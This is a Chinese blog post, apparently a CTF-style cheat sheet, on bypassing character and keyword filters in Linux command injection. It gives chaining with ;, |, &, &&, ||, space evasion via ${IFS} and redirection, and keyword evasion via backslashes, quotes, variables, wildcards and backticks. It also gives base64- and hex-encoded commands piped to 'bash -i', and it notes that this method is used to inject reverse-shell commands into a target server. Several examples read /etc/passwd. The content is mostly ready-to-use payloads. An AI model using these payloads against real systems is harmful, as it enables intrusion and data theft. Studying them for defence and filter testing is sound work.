Linux下命令执行过滤关键字符后的常见绕过技巧

一,符号绕过

1-1 分号绕过
用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。

cat /etc/passwd;ls -l

1-2 管道符 | 
Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

cat /etc/passwd | grep bash | wc -l

1-3 & 
格式: command1 & command2

&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1

ping -c 1 baidu.com & ls -l

1-4 && 
格式: command1 && command2 [&& commandx]

&& 表示前一条命令执行成功时,才执行后一条命令

1-4-1 第一种情况
第一个命令错误,第二个命令不会执行 

如:/etc/aini 不存在就会报错,后面的ls也不会执行

cat /etc/aini && ls -l

1-4-2 第二种情况
 所有命令都正确

pwd && ls -l && cat /etc/passwd

1-5 || 
格式:command1 || command2 [|| commandx]

跟&&符号相反,前面那条命令为假才会执行后面的命令

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。

cat /etc/aini || pwd
第一个命令结果为假,所以继续执行第二个命令

1-6 绕过空格
1-6-1 {}绕过
{cat,etc/passwd}

1-6-2 ${IFS},$IFS$9,${IFS} 绕过
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat${IFS}flag.txt

1-6-3 <  绕过
cat<flag.txt

1-6-4 <> 绕过 
cat<>flag.txt

1-7 对关键字的绕过
1-7-1 (\)
比如会对cat falg 等一些常用关键字进行检测,可以用 \ 绕过
原理就是\转义符号只对一些特殊符号转义,对字母转义跟不转义效果一样
c\a\t<>f\l\a\g.t\x\t

1-7-2 '' 绕过
cat fla''g.php

1-7-3 双''来字符串拼接绕过
'fl' + 'ag'  = 'flag'
其实等于
'fl''ag' = 'flag'

1-7-4 变量绕过 
a=fl;b=ag;cat $a$b.php

1-8 通配符绕过
1-8-1 ? * 来绕过
?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配

cat<>fl*
cat flag?txt

1-8-2 [范围] 或 {f..h} 来绕过
[a-z]  表示匹配 a~z 

{f..h} 表示f~h 无论是否匹配成功都匹配一遍

cat fla[f-h].*
 分别匹配到了flag.txt和flag.php  

1-9 内联使用
1-9-1 `` 绕过
`` 里面的命令优先执行 

cat `ls | grep fla`
 分别匹配到了flag.txt和flag.php 

1-9-2 $() 绕过
cat $(ls | grep fla)

二,编码绕过

2-1 base64编码绕过 
经常用此方法来给对方服务器注入反向shell命令

echo Y2F0IGZsYWcudHh0 | base64 -d | bash -i

综合利用
1,绕过空格
2,绕过关键字过滤
3,编码

\e\c\h\o${IFS}Y2F0IGZsYWcudHh0${IFS}|${IFS}\b\a\s\e\6\4${IFS}-\d${IFS}|${IFS}\b\a\s\h${IFS}-\i

2-2 hex编码绕过 
2-2-1 熟悉xxd命令
  -a          缺省忽略转换: 使用‘*’替换空行.
   -b          二进数数据转储 (与 -ps,-i,-r不兼容). 默认为16进制.
   -c cols    每行多少列octets(特制8比特的字节). 默认为16列(-i: 12, -ps: 30).
   -E          使用EBCDIC字符集. 默认为ASCII字符集.
   -e          小端模式转储 (与 -ps,-i,-r不兼容).
   -g          在正常输出中,每组八位字节数. 默认为2个 (-e: 4).
   -h          输出此帮助.
   -i          使用C语言文件样式输出.
   -l len      在len个八位字节后停止.
   -o off      在off个偏移量后开始输出.
   -ps         以在行后添加16进制转储内容的格式输出.
   -r          逆向操作: 转换(或修补) 十六进制内容为二进制内容.
   -r -s off   在off个偏移量后开始转换16进制内容为二进制内容
   -s [+][-]seek  start at <seek> bytes abs. (or +: rel.) infile offset.(没看懂)
   -u          使用大写字母进行十六进制表示.
   -v          显示版本: "xxd V1.10 27oct98 by Juergen Weigert".

2-2-2 例子
echo 63617420666c61672e747874 | xxd -r -p|bash

posted @ 2024-11-12 17:37  少年阿丁  阅读(13)  评论(0编辑  收藏  举报